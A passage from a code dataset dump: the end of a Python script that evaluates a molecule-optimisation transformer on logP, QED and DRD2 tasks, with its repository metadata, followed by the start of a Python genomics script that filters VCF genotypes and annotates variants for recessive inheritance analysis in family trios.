print('calculation done for worker %d' % wid)\n\n    return score_all\n\n\ndef evaluate(test_smiles_list, property_dic, model, moltokenizer):\n    # test_smiles_list = list(test_smiles.keys())\n    # test_smiles_list = test_smiles_list[:100]\n    smiles_list = []\n    ids_list = []\n    property_x_list = []\n    property_desired_list = []\n\n    if test_name == 'logp04':\n        logp_list = np.array(range(5)) * .5 - 1.0  # -1.0 -0.5 0.0 0.5 1.0\n        qed_list = [0.1, 0.6]\n        drd2_list = [0.52, 0.8]\n\n    elif test_name == 'qed':\n        logp_list = np.array(range(5)) * 1.0 - 2  # -8, -4 0 4 8\n        qed_list = [0.91, 0.98]\n        drd2_list = [0.2, 0.5]\n\n    else: # drd2\n        logp_list = np.array(range(5)) * 0.5 - 1\n        qed_list = [0.1, 0.6]\n        drd2_list = [0.52, 0.8]\n\n\n    for idx, smiles in enumerate(test_smiles_list):\n        # smiles = test_smiles_list[i]\n        item = property_dic[smiles]\n        ids = moltokenizer.encode(smiles)\n        # ids = item['ids']\n        logp_val = item['logP']\n        qed_val = item['qed']\n        drd2_val = item['drd2']\n\n        property_x = np.expand_dims(np.array([logp_val, qed_val, drd2_val]), axis=0)\n\n        for logp_improvement in logp_list:\n            for qed_desired in qed_list:\n                for drd2_desired in drd2_list:\n                    property_desired = np.expand_dims(\n                        np.array([logp_val + logp_improvement, qed_desired, drd2_desired]), axis=0)\n\n                    smiles_list.append(smiles)\n                    ids_list.append(ids)\n                    property_x_list.append(property_x)\n                    property_desired_list.append(property_desired)\n\n\n    x = np.array(tf.keras.preprocessing.sequence.pad_sequences(ids_list, dtype=\"int64\", padding=\"post\"))\n    px = np.concatenate(property_x_list, axis=0)\n    py = np.concatenate(property_desired_list, axis=0)\n\n    outputs, scores = model.predict([x, px, py], batch_size=args.eb, verbose=1)\n    # scores = np.array(scores)\n    print(\"prediction score report\")\n    print(\"min(%f), max(%f), mean(%f), std(%f), median(%f)\" % (min(scores), max(scores), np.mean(scores), np.std(scores), np.median(scores) ))\n\n    if args.p==1:\n        score_all = []\n        for idx, output in tqdm.tqdm(enumerate(outputs)):\n            smiles_x = smiles_list[idx]\n            smiles_y = moltokenizer.decode(output)\n            score = get_score(smiles_x, smiles_y, task=args.test)\n            score_all.append(score)\n\n    else:\n        with Timer(\"score multi calculation...\"):\n            n = len(outputs)\n            n_proc = args.p\n            batch = math.ceil(n / (n_proc))\n\n            with Pool(processes=n_proc) as pool:\n                r = pool.map_async(worker_wrapper,\n                                   zip(repeat(outputs), repeat(smiles_list),\n                                       repeat(n), range(1, n_proc + 1), range(0, n, batch),\n                                       range(batch, batch * n_proc + 1, batch))\n                                   )\n                r.wait()\n\n            score_all = []\n            for partial_score in r.get():\n                score_all+=partial_score\n\n    score_final = []\n    for i in range(len(test_smiles_list)):\n        score = max(score_all[20*(i):20*(i+1)])\n        score_final.append(score)\n\n    return score_final\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-base', type=str, default=\"../data\", help='base path.')\n    parser.add_argument('-test', type=str, default='drd2', help='the name of testset') # qed, drd2, lop04\n\n    parser.add_argument('-g', default=\"0\", choices=[\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\"], type=str)\n    parser.add_argument('-lr', default=\"2\", type=str) # 1e-3\n    parser.add_argument('-he', default=8, type=int, help='num_heads')\n    parser.add_argument('-hi', default=4, type=int, help='num_hidden_layers')\n    parser.add_argument('-f', default=256, type=int, help='filter_size')\n    parser.add_argument('-b', default=4096, type=int, help='batch_size') # 4096, 2048\n    parser.add_argument('-v', default=21, type=int, help='model version')\n    parser.add_argument('-t', default=0, type=int, help='attempt')\n    parser.add_argument('-es', default=110, type=int, help='eval epoch start')\n    parser.add_argument('-ee', default=120, type=int, help='eval epoch end')\n    parser.add_argument('-et', default=10, type=int, choices=[1, 5, 10, 20], help='eval epoch step')\n    parser.add_argument('-pnet', default=1, type=int, help='if propnet used')\n    parser.add_argument('-snet', default=1, type=int, help='if simnet used')\n    parser.add_argument('-bf', default=1, type=int, help='if use_beam_filter')\n    parser.add_argument('-p', default=8, type=int, help='number of processes')\n    parser.add_argument('-eb', default=1000, type=int, help='evaluate batch')\n\n\n    args, unparsed = parser.parse_known_args()\n\n    os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.g\n    gpus = tf.config.experimental.list_physical_devices('GPU')\n    tf.config.experimental.set_memory_growth(gpus[0], True)\n    \n    model_version = \"v%d\" % args.v\n\n    base_path = args.base\n\n    n_samples = 10827615\n\n    data_dir = \"%s/v10_trn\" % base_path\n\n    iterations = 100\n    steps_between_evals = n_samples // args.b\n    train_steps = steps_between_evals * iterations\n    validation_steps = 32\n    batch_size = args.b\n\n\n    model_dir = \"%s/model.vv%d.vnet%d.pnet%d.snet%d.head%d.hid%d.fil%d.batch%d.lr%s.t%d\" % (base_path, args.v,\n                                                                                            args.vnet, args.pnet,\n                                                                                            args.snet, args.he, args.hi,\n                                                                                            args.f, args.b, args.lr,\n                                                                                            args.t)\n\n    propnet_weight_path = \"%s/v30.propnet.weights.cpkl\" % base_path\n    simnet_weight_path = \"%s/v30.simnet.weights.cpkl\" % base_path\n\n    test_name = args.test\n\n    mt_weight_path = \"%s/mt_weights.cpkl\" % base_path\n\n    optgen_config_file = \"%s/../config/optgen_config.json\" % base_path\n\n    params = optgen_v2.load_config(optgen_config_file)\n    params[\"propnet_weight_path\"] = propnet_weight_path\n    params[\"simnet_weight_path\"] = simnet_weight_path\n\n    params[\"steps_between_evals\"] = steps_between_evals\n    params[\"batch_size\"] = batch_size\n    params[\"train_steps\"] = train_steps\n    params[\"validation_steps\"] = validation_steps\n    params[\"model_dir\"] = model_dir\n    params[\"mt_weight_path\"] = mt_weight_path\n    params[\"num_heads\"] = args.he\n    params[\"num_hidden_layers\"] = args.hi\n    params[\"filter_size\"] = args.f\n    params[\"learning_rate\"] = float(args.lr)\n    params[\"model_version\"] = model_version\n\n    params[\"n_samples\"] = n_samples\n    params[\"iterations\"] = iterations\n    params[\"data_dir\"] = data_dir\n\n    params[\"vocab_file\"] = \"%s/optgen_vocab.txt\" % base_path\n    params[\"vocab_size\"] = 71\n\n    params[\"use_propnet\"] = args.pnet\n    params[\"use_simnet\"] = args.snet\n    params[\"use_beam_filter\"] = args.bf\n\n    print(\"========================================[params]========================================\")\n    for k,v in params.items():\n        print(k, \":\" ,v)\n    print(\"========================================[params]========================================\")\n\n    moltokenizer = Moltokenizer(params[\"vocab_file\"])\n    dev_smiles, _ = get_test_smiles(base_path, test_name, is_dev=1)\n    tst_smiles, property_dic = get_test_smiles(base_path, test_name, is_dev=0)\n\n\n    epoch_list = range(args.es, args.ee, args.et)\n    print(\"epoch_list\", [i for i in epoch_list])\n\n    dev_score_list = []\n    tst_score_list = []\n    dev_std_list = []\n    tst_std_list = []\n    for epoch_num in epoch_list:\n        tst_model = get_model(params, epoch_num)\n\n        score_final_dev = evaluate(dev_smiles, property_dic, tst_model, moltokenizer)\n        score_final_tst = evaluate(tst_smiles, property_dic, tst_model, moltokenizer)\n\n        if test_name == 'logp04':\n            dev_score = np.mean(score_final_dev)\n            tst_score = np.mean(score_final_tst)\n            dev_std = np.std(score_final_dev)\n            tst_std = np.std(score_final_tst)\n            dev_std_list.append(dev_std)\n            tst_std_list.append(tst_std)\n\n        elif test_name == 'qed':\n            dev_score = sum(np.array(score_final_dev) >= 0.9) / float(len(score_final_dev))\n            tst_score = sum(np.array(score_final_tst) >= 0.9) / float(len(score_final_tst))\n\n        else: # test_name == 'drd2':\n            dev_score = sum(np.array(score_final_dev) > 0.5) / float(len(score_final_dev))\n            tst_score = sum(np.array(score_final_tst) > 0.5) / float(len(score_final_tst))\n\n        dev_score_list.append(dev_score)\n        tst_score_list.append(tst_score)\n        print(\"======================[v%d.p%d.s%d.bf%d.prop(%s) epoch %d]======================\" %\n              (args.vnet, args.pnet, args.snet, args.bf, test_name, epoch_num))\n        print(\"[dev_score_list]\")\n        print(dev_score_list)\n        print(\"[tst_score_list]\")\n        print(tst_score_list)\n\n    best_index = np.argmax(dev_score_list)\n    print(\"best_index(%d), best_dev(%f), best_tst(%f)\" % (\n        best_index, dev_score_list[best_index], tst_score_list[best_index]))\n\n    if test_name == 'logp04':\n        print(dev_std_list[best_index])\n        print(tst_std_list[best_index])\n\n", "meta": {"hexsha": "5f45e71c7ce8be4e106898da1845d393b6d191bf", "size": 20316, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/test_SOO.py", "max_stars_repo_name": "deargen/cmg", "max_stars_repo_head_hexsha": "fe5b4d8778df7bd85f78ec463d85185415a1c591", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2020-12-17T06:34:40.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-23T03:31:38.000Z", "max_issues_repo_path": "src/test_SOO.py", "max_issues_repo_name": "deargen/cmg", "max_issues_repo_head_hexsha": "fe5b4d8778df7bd85f78ec463d85185415a1c591", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/test_SOO.py", "max_forks_repo_name": "deargen/cmg", "max_forks_repo_head_hexsha": "fe5b4d8778df7bd85f78ec463d85185415a1c591", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2020-11-24T06:57:08.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-06T06:40:56.000Z", "avg_line_length": 38.1163227017, "max_line_length": 142, "alphanum_fraction": 0.6237448317, "include": true, "reason": "import numpy", "num_tokens": 5110, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5312093733737563, "lm_q2_score": 0.18010666848732088, "lm_q1q2_score": 0.09567435050758458}}
{"text": "import argparse\nimport csv\nimport pandas as pd\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport re\nimport numpy as bp\nimport scipy \nimport pysam\nimport multiprocessing\nimport gzip\n\nclass RecessiveModel:\n\tdef __init__(self, af = 1e-2, DeepVariant = True, SBPV_cutoff=1e-5, DP_cutoff=7, AB_cutoff1=0.2, AB_cutoff2=0.8):\n\t\tself.SBPV_cutoff = SBPV_cutoff\n\t\tself.DP_cutoff_T1 = DP_cutoff\n\t\tself.AB_cutoff1_T1 = AB_cutoff1\n\t\tself.AB_cutoff2_T1 = AB_cutoff2\n\t\tself.DP_cutoff_T2 = 20\n\t\tself.AB_cutoff_T2 = 0.3\n\t\tself.LGD = set([\"splice_acceptor_variant\", \"splice_donor_variant\", \"stop_gained\", \n\t\t\t\"stop_lost\", \"start_lost\", \"frameshift_variant\"])\n\t\tself.CADD_cutoff = 25\n\t\tself.REVEL_cutoff = 0.5\n\t\tself.AF_cutoff = af\n\t\t#self.C = [\"syn\",\"lgd\",\"dmis\",\"lgd/dmis\"]\n\t\tself.C = [\"syn\",\"lgd\",\"mis\",\"cadd15\",\"cadd20\",\"cadd25\",\"revel.5\",\"mvp2.85\",\"mpc1\",\"lgd_cadd25\"]\n\t\tself.DeepVariantFilter = DeepVariant\n\t\treturn\n\n\t# compute NHet, NHom, AC and AF of each site, within a population, Write to a VCF file.\n\tdef ComputeSiteAF(self, InpVCF, Indvs, prefix, OutVCF):\n\t\tfin = gzip.open(InpVCF, 'rt')\n\t\tfout = open(OutVCF, 'w')\n\t\tfor l in fin:\n\t\t\tif l.startswith(\"##\"):\n\t\t\t\tfout.write(l)\n\t\t\t\tcontinue\n\t\t\telif l.startswith(\"#\"):\n\t\t\t\tllist = l.strip().split(\"\\t\")\n\t\t\t\t#Head = llist[]\n\t\t\t\tindvs = llist[9:]\n\t\t\t\tindex = self.GetIndex(Indvs, indvs)\n\t\t\t\tfout.write(\"##ComputeAF={}\\n\".format(prefix))\n\t\t\t\tfout.write(\"\\t\".join(llist[:9])+\"\\n\")\n\t\t\telse:\n\t\t\t\tllist = l.strip().split(\"\\t\")\n\t\t\t\tlength = (len(llist[4].split(\",\"))+1)\n\t\t\t\tAFs = [0] * length\n\t\t\t\tACs = [0] * length\n\t\t\t\tAC_Het = [0] * length\n\t\t\t\tAC_Hom = [0] * length\n\t\t\t\tAN = 0 \n\t\t\t\tGTs = llist[9:]\n\t\t\t\tfor idx in index:\n\t\t\t\t\tGT = self.GenotypeQC(llist[8], GTs[idx])\n\t\t\t\t\tif GT:\n\t\t\t\t\t\tA1, A2 = GT[0], GT[1]\n\t\t\t\t\t\tACs[A1] += 1\n\t\t\t\t\t\tACs[A2] += 1\n\t\t\t\t\t\tif A1 != A2:\n\t\t\t\t\t\t\tAC_Het[A2] += 1\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tAC_Hom[A2] += 1\n\t\t\t\t\t\tAN += 2\n\t\t\t\tfor i in range(length):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tAFs[i] = str(float(ACs[i])/AN)\n\t\t\t\t\texcept ZeroDivisionError:\n\t\t\t\t\t\tAFs[i] = \"0\"\n\t\t\t\t\tACs[i] = str(ACs[i])\n\t\t\t\t\tAC_Het[i] = str(AC_Het[i])\n\t\t\t\t\tAC_Hom[i] = str(AC_Hom[i])\n\t\t\t\tNew = \";{}_AN={};{}_AC={};{}_AF={};{}_AC_Het={};{}_AC_Hom={}\".format(prefix, AN, prefix, \",\".join(ACs[1:]), prefix, \",\".join(AFs[1:]), prefix, \",\".join(AC_Het[1:]), prefix, \",\".join(AC_Hom[1:]))\n\t\t\t\tllist[7] = llist[7] + New\n\t\t\t\tfout.write(\"\\t\".join(llist[:8])+\"\\n\") \n\t\treturn\n\tdef GetIndex(self, Indvs, indvs):\n\t\tres = []\n\t\tfor indv in Indvs:\n\t\t\ttry:\n\t\t\t\tres.append(indvs.index(indv))\n\t\t\texcept:\n\t\t\t\tcontinue\n\t\treturn res\n\n\tdef isRef(self, GT):\n\t\tif GT[0] == GT[1] and GT[0] == 0:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef isHet(self, GT):\n\t\tif GT[0] == 0:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef isHom(self, GT):\n\t\tif GT[0] != 0 and GT[1] != 0:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\t# Return genotype as [A1, A2] if pass QC , return False otherwise\n\tdef GenotypeQC(self, SPID, fmt, gt_dat):\n\t\t# Part I: result of GATK filter; Part II: result of DeepVariant Filter\n\t\tFLAG_TIER0 = 0; FLAG_TIER1 = 0; FLAG_TIER2 = 0\n\t\ttmp = {}\n\t\tfor k,v in zip(fmt.split(\":\"), gt_dat.split(\":\")):\n\t\t\ttmp[k] = v\n\t\tGT = tmp[\"GT\"].split(\"/\")\n\t\tif GT[0] != \".\" and GT[1] != \".\":\n\t\t\tGT = [int(i) for i in GT]\n\t\telse: # Missing GT\n\t\t\tprint(\"Missing GT (GT)\", gt_dat)\n\t\t\treturn None, None\n\t\tif tmp[\"GQ\"] == \".\":\n\t\t\t#return False\n\t\t\tprint(\"Missing GT (GQ)\", gt_dat)\n\t\t\treturn [0,0], None\n\t\t#elif float(tmp[\"GQ\"]) < 60:\n\t\t#\treturn False\n\t\t#if GT[0] == \".\" or GT[1] == \".\":\n\t\t#\treturn False\n\t\tif tmp[\"GT\"] != \"0/0\":\n\t\t\tif self.isHet(GT):\n\t\t\t\tif float(tmp[\"DP\"]) < self.DP_cutoff:\n\t\t\t\t\treturn False\n\t\t\t\tif float(tmp[\"AD\"].split(\",\")[1])/float(tmp[\"DP\"]) < self.AB_cutoff1: # or float(tmp[\"AD\"].split(\",\")[1])/float(tmp[\"DP\"]) > self.AB_cutoff2:\n\t\t\t\t\treturn False\n\t\t\telse:\n\t\t\t\tif not self.isHom(GT):\n\t\t\t\t\tprint('Error detect Hom', GT, gt_dat)\n\t\telse:\n\t\t\treturn GT, True\n\n\tdef GenotypeQC_old(self, fmt, gt_dat):\n\t\ttmp = {}\n\t\tfor k,v in zip(fmt.split(\":\"), gt_dat.split(\":\")):\n\t\t\ttmp[k] = v\n\t\tGT = tmp[\"GT\"].split(\"/\")\n\t\tif tmp[\"GQ\"] == \".\":\n\t\t\t#return False\n\t\t\treturn [0,0]\n\t\telif float(tmp[\"GQ\"]) < 60:\n\t\t\treturn False\n\t\tif GT[0] == \".\" or GT[1] == \".\":\n\t\t\treturn False\n\t\tif tmp[\"GT\"] != \"0/0\":\n\t\t\t#print(fmt, gt_dat)\n\t\t\t#if \".\" in tmp[\"SBPV\"]:\n\t\t\t#\tpass\n\t\t\t#elif float(tmp[\"SBPV\"]) < self.SBPV_cutoff:\n\t\t\t#\treturn False\n\t\t\tif float(tmp[\"DP\"]) < self.DP_cutoff:\n\t\t\t\treturn False\n\t\t\tif float(tmp[\"AD\"].split(\",\")[1])/float(tmp[\"DP\"]) < self.AB_cutoff1: # or float(tmp[\"AD\"].split(\",\")[1])/float(tmp[\"DP\"]) > self.AB_cutoff2:\n\t\t\t\treturn False\n\t\treturn [int(i) for i in GT]\n\n\tdef LoadPedigree2(self, PedFil, Samples):\n\t\tPedFil = \"/home/local/users/jw/Genetics_Projects/SPARK/spark_genomics/dat/EUR_Trios.ped\"\n\t\tTrios = []\n\t\treader = csv.reader(open(PedFil, 'rt'), delimiter=\"\\t\")\n\t\tcounter = 0\n\t\tfor row in reader:\n\t\t\trow.append(Samples.index(row[1]))\n\t\t\tcounter += 1\n\t\t\tif counter == 1:\n\t\t\t\ttmp = Family(row[0])\n\t\t\t\ttmp.Proband = Sample(row)\n\t\t\tif counter == 2:\n\t\t\t\ttmp.Father = Sample(row)\n\t\t\tif counter == 3:\n\t\t\t\ttmp.Mother = Sample(row)\n\t\t\t\tTrios.append(tmp)\n\t\t\t\tcounter = 0\n\t\treturn Trios\n\tdef LoadPedigree(self, PedFil, Samples):\n\t\t#PedFil = \"/home/local/users/jw/Genetics_Projects/SPARK/spark_genomics/dat/EUR_Fams.ped\"\n\t\tPedFil = \"/home/local/users/jw/Genetics_Projects/SPARK/30K_07/recessive/EUR_Fams.ped\"\n\t\tFams = []\n\t\tIndvs = []\n\t\treader = csv.reader(open(PedFil, 'rt'), delimiter=\"\\t\")\n\t\tPreFamID, tmp = None, None\n\t\tfor row in reader:\n\t\t\trow.append(Samples.index(row[1])) # Add sample index in VCF header, to locate genotype\n\t\t\tFamID = row[0]\n\t\t\tIndvs.append(row[1])\n\t\t\tif FamID != PreFamID:\n\t\t\t\tif tmp != None:\n\t\t\t\t\tFams.append(tmp)\n\t\t\t\ttmp = Family(FamID)\n\t\t\t\tPreFamID = FamID\n\t\t\t\ttmp.Proband = Sample(row)\n\t\t\telse:\n\t\t\t\tif row[1] == tmp.Proband.Father:\n\t\t\t\t\ttmp.Father = Sample(row)\n\t\t\t\telif row[1] == tmp.Proband.Mother:\n\t\t\t\t\ttmp.Mother = Sample(row)\n\t\t\t\telse:\n\t\t\t\t\ttmp.Siblings.append(Sample(row))\n\t\tIndvs = set(Indvs)\n\t\treturn Fams, Indvs\n\n\tdef getINFO(self, info_string):\n\t\tinfolist = info_string.split(';')\n\t\tinfodict = {}\n\t\tfor kv in infolist:\n\t\t\tkv = kv.split('=')\n\t\t\tif len(kv) == 2:\n\t\t\t\tk, v = kv\n\t\t\t\tinfodict[k] = v\n\t\treturn infodict\n\n\tdef match_allele_csq(self, Ref, Alts, csq_head, csq_string):\n\t\t# Trim Leading Base\n\t\tAlts = Alts.split(\",\")\n\t\tif len(list(set([x[0] for x in Alts])))==1 and Ref[0] == list(set([x[0] for x in Alts]))[0]:\n\t\t\t_Ref = Ref[1:] if len(Ref[1:]) >0 else \"-\"\n\t\t\t_Alts = [Alt[1:] if len(Alt[1:]) >0 else \"-\" for Alt in Alts]\n\t\t\t#print (Ref, Alts, \";\", _Ref, _Alts)\n\t\telse:\n\t\t\t_Alts = Alts\n\t\tres = {}\n\t\tcsqs = csq_string.split(\",\")\n\t\tcsqs = [dict(zip(csq_head, vep.split(\"|\"))) for vep in csqs]\n\t\tfor i, Alt in enumerate(Alts):\n\t\t\tres[Alt] = []\n\t\t\tfor j, csq in enumerate(csqs):\n\t\t\t\tif csq[\"Allele\"] == _Alts[i]:\n\t\t\t\t\tcsq[\"Consequence\"] = csq[\"Consequence\"] .split(\"&\")\n\t\t\t\t\tres[Alt].append(csq)\n\t\treturn res\n\n\tdef search_severe_consequence(self, var_k, Allele_CSQ_dict, Alt):\n\t\tsevere_consequence = None\n\t\tsevere_trans = None\n\t\tsevere_idx = 0\n\t\tfor i in range(len(Allele_CSQ_dict[Alt])):\n\t\t\tconsequence = Allele_CSQ_dict[Alt][i][\"Consequence\"]\n\t\t\tTranscript = Allele_CSQ_dict[Alt][i][\"Feature\"]\n\t\t\t#print(Allele_CSQ_dict[Alt][i][\"BIOTYPE\"])\n\t\t\tif Allele_CSQ_dict[Alt][i][\"BIOTYPE\"] != \"protein_coding\":\n\t\t\t\tcontinue\n\t\t\tif len(set(consequence).intersection(self.LGD))>= 1:\n\t\t\t\treturn i, consequence, Transcript\n\t\t\telif consequence[0] == \"missense_variant\":\n\t\t\t\treturn i, consequence, Transcript\n\t\t\telif consequence[0] == \"synonymous_variant\":\n\t\t\t\tsevere_consequence = consequence\n\t\t\t\tsevere_trans = Transcript\n\t\t\t\tsevere_idx = i\n\t\tif severe_consequence == None:\n\t\t\treturn 0, \"non-coding\", None\n\t\telse:\n\t\t\treturn 0, severe_consequence, severe_trans\n\n\t#def Recessive(self, Chr, GenotypeFil, VEPFil, AFFil, GenecodeFil):\n\tdef Recessive(self, Chr, GenotypeFil, VEPFil, GenecodeFil):\n\t\tGenotypeFil = pysam.TabixFile(GenotypeFil)\n\t\tVEPFil = pysam.TabixFile(VEPFil)\n\t\t#AFFil = pysam.TabixFile(AFFil)\n\t\tGenes, Transtripts = LoadGeneCode(GenecodeFil)\n\t\t#CSQ_header = [X.strip().split(\"Format: \")[1].rstrip('>\\\"').split(\"|\") for X in VEPFil.header if X.startswith(\"##INFO=<ID=CSQ\")][0]\n\t\tCSQ_header = [X.strip().split(\"Format: \")[1].rstrip('>\\\"').split(\"|\") for X in GenotypeFil.header if X.startswith(\"##INFO=<ID=CSQ\")][0]\n\t\t#Samples = GenotypeFil.header[-1].split(\"\\t\")[9:]\n\t\tSamples = VEPFil.header[-1].split(\"\\t\")[9:]\n\t\tOutFil = open(\"Rec.FamTest.Chr{}.txt\".format(Chr), 'w')\n\t\tOutFil.write(\"#Gene\\t\" + \"\\t\".join([\"{}.obs\\t{}.haps\".format(t,t) for t in self.C]) + \"\\n\")\n\t\tOutFil2 = open(\"Rec.FamTest.Chr{}.sup.txt\".format(Chr), 'w')\n\t\tOutFil2.write(\"#Gene\\t\" + \"\\t\".join([\"{}.NCantPhase\\t{}.CantPhaseFams\\t{}.N3vars\".format(t,t,t) for t in self.C]) + \"\\n\")\n\t\t#OutFil2.write(\"{}\\t{}\\t{}\\n\".format(Gene, \"\\t\".join(\"{}\\t{}\\t{}\".format(CantPhase[t], CantPhase_fams[t], MoreThanThree[t]) for t in self.C)))\n\t\tTrios = self.LoadPedigree(\"a\", Samples)\n\t\tif self.DeepVariantFilter:\n\t\t\tself.DeepVarTBX = LoadDeepVar(Samples)\n\t\tfor i, (Gene,GTF) in enumerate(Genes.items()): # iterate through genes\n\t\t\tGene_Fam_dat = {} # store genotypes for each fam, group by variant categories\n\t\t\tfor cat in self.C:\n\t\t\t\tGene_Fam_dat[cat] = {}\n\t\t\t\tfor i, trio in enumerate(Trios):\n\t\t\t\t\tGene_Fam_dat[cat][trio.FamID] = []\n\t\t\tstart, end = int(GTF.start), int(GTF.end)\n\t\t\tveps, cohort, genotypes = [],[], []\n\t\t\tfor term in VEPFil.fetch(Chr, start, end):\n\t\t\t\tveps.append(term)\n\t\t\t#for term in AFFil.fetch(Chr, start, end):\n\t\t\t#\tcohort.append(term)\n\t\t\tfor term in GenotypeFil.fetch(Chr, start, end):\n\t\t\t\tgenotypes.append(term)\n\t\t\t#for var in zip(veps, cohort, genotypes):\n\t\t\tfor var in zip(veps, genotypes):\n\t\t\t\tllist = var[0].split(\"\\t\")\n\t\t\t\tllist2 = var[1].split(\"\\t\")\n\t\t\t\tChr, Pos, Ref, Alts = llist[0], llist[1], llist[3], llist[4]\n\t\t\t\t#cohort_af = list(map(float, self.getINFO(var[1].split(\"\\t\")[7])[\"EUR_AF\"].split(\",\")))\n\t\t\t\tfmt = llist2[8]\n\t\t\t\tSample_genotypes = llist2[9:]\n\t\t\t\tinfodict = self.getINFO(llist[7])\n\t\t\t\tmappability = float(infodict.get(\"Mappability\", 1))\n\t\t\t\tif mappability != 1:\n\t\t\t\t\tcontinue\n\t\t\t\tAllele_CSQ_dict = self.match_allele_csq(Ref, Alts, CSQ_header, infodict[\"CSQ\"])\n\t\t\t\tfor i, Alt in enumerate(Alts.split(\",\")):\n\t\t\t\t\tvar_k = \"{}:{}:{}:{}\".format(Chr, Pos, Ref, Alt)\n\t\t\t\t\ttry:\n\t\t\t\t\t\tAllele_CSQ_dict[Alt][0][\"gnomADg_AF_NFE\"] = Allele_CSQ_dict[Alt][0][\"gnomADg_AF_NFE\"].split(\"&\")[0]\n\t\t\t\t\t\tAllele_CSQ_dict[Alt][0][\"gnomADe_AF_NFE\"] = Allele_CSQ_dict[Alt][0][\"gnomADe_AF_NFE\"].split(\"&\")[0]\n\t\t\t\t\t\tvep = Allele_CSQ_dict[Alt][0]\n\t\t\t\t\t\tgnomADg_af = 0 if (vep[\"gnomADg_AF_NFE\"] == \"\" or vep[\"gnomADg_AF_NFE\"] == \".\")\\\n\t\t\t\t\t\t\t\telse float(vep[\"gnomADg_AF_NFE\"])\n\t\t\t\t\t\tgnomADe_af = 0 if (vep[\"gnomADe_AF_NFE\"] == \"\" or vep[\"gnomADe_AF_NFE\"] == \".\")\\\n\t\t\t\t\t\t\t\telse float(vep[\"gnomADe_AF_NFE\"])\n\t\t\t\t\t\t#af = cohort_af[i]\n\t\t\t\t\t\t#if gnomADg_af > 1e-2 or af > 1e-2 or af == 0:\n\t\t\t\t\t\t#if max(gnomADg_af, af) > 1e-2 or af == 0:\n\t\t\t\t\t\t#if max(gnomADg_af, af) > self.AF_cutoff or af == 0:\n\t\t\t\t\t\tif gnomADg_af > self.AF_cutoff:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t# cons = Allele_CSQ_dict[Alt][0][\"Consequence\"]\n\t\t\t\t\t\tidx_anno, cons, trans = self.search_severe_consequence(var_k, Allele_CSQ_dict, Alt)\n\t\t\t\t\t\t#print (cons)\n\t\t\t\t\t\tif len(set(cons).intersection(self.LGD))>= 1:\n\t\t\t\t\t\t\t#print (gnomADe_af, af, cons)\n\t\t\t\t\t\t\t#self.LookUpBiallic(i, \"lgd\", fmt, Sample_genotypes, Trios)\n\t\t\t\t\t\t\tGene_Fam_dat = self.AddVar(i, var_k, \"lgd\", fmt, Sample_genotypes, Trios, Gene_Fam_dat)\n\t\t\t\t\t\tif \"synonymous_variant\" in set(cons):\n\t\t\t\t\t\t\tGene_Fam_dat = self.AddVar(i, var_k, \"syn\", fmt, Sample_genotypes, Trios, Gene_Fam_dat)\n\t\t\t\t\t\tif \"missense_variant\" in set(cons):\n\t\t\t\t\t\t\tGene_Fam_dat = self.AddVar(i, var_k, \"mis\", fmt, Sample_genotypes, Trios, Gene_Fam_dat)\n\t\t\t\t\t\tif \"missense_variant\" in set(cons) and float(Allele_CSQ_dict[Alt][0][\"CADD_PHRED\"]) > 15:\n\t\t\t\t\t\t\tGene_Fam_dat = self.AddVar(i, var_k, \"cadd15\", fmt, Sample_genotypes, Trios, Gene_Fam_dat)\n\t\t\t\t\t\tif \"missense_variant\" in set(cons) and float(Allele_CSQ_dict[Alt][0][\"CADD_PHRED\"]) > 20:\n\t\t\t\t\t\t\tGene_Fam_dat = self.AddVar(i, var_k, \"cadd20\", fmt, Sample_genotypes, Trios, Gene_Fam_dat)\n\t\t\t\t\t\tif \"missense_variant\" in set(cons) and float(Allele_CSQ_dict[Alt][0][\"CADD_PHRED\"]) > 25:\n\t\t\t\t\t\t\tGene_Fam_dat = self.AddVar(i, var_k, \"cadd25\", fmt, Sample_genotypes, Trios, Gene_Fam_dat)\n\t\t\t\t\t\tif (\"missense_variant\" in set(cons) and float(Allele_CSQ_dict[Alt][0][\"CADD_PHRED\"]) > 25) or (len(set(cons).intersection(self.LGD))>= 1) :\n\t\t\t\t\t\t\tGene_Fam_dat = self.AddVar(i, var_k, \"lgd_cadd25\", fmt, Sample_genotypes, Trios, Gene_Fam_dat)\n\n\t\t\t\t\t\trevel = 0 if Allele_CSQ_dict[Alt][0][\"REVEL_score\"].split(\"&\")[0] in [\"\", \".\"] else float(Allele_CSQ_dict[Alt][0][\"REVEL_score\"].split(\"&\")[0])\n\t\t\t\t\t\tmpc = 0 if Allele_CSQ_dict[Alt][0][\"MPC_score\"].split(\"&\")[0]  in [\"\", \".\"]  else float(Allele_CSQ_dict[Alt][0][\"MPC_score\"].split(\"&\")[0])\n\t\t\t\t\t\tmvp2 = 0 if Allele_CSQ_dict[Alt][0][\"MVP2_rankscore\"].split(\"&\")[0] in [\"\", \".\"]  else float(Allele_CSQ_dict[Alt][0][\"MVP2_rankscore\"].split(\"&\")[0])\n\t\t\t\t\t\tif \"missense_variant\" in set(cons) and revel > 0.5:\n\t\t\t\t\t\t\tGene_Fam_dat = self.AddVar(i, var_k, \"revel.5\", fmt, Sample_genotypes, Trios, Gene_Fam_dat)\n\t\t\t\t\t\tif \"missense_variant\" in set(cons) and mpc > 1:\n\t\t\t\t\t\t\tGene_Fam_dat = self.AddVar(i, var_k, \"mpc1\", fmt, 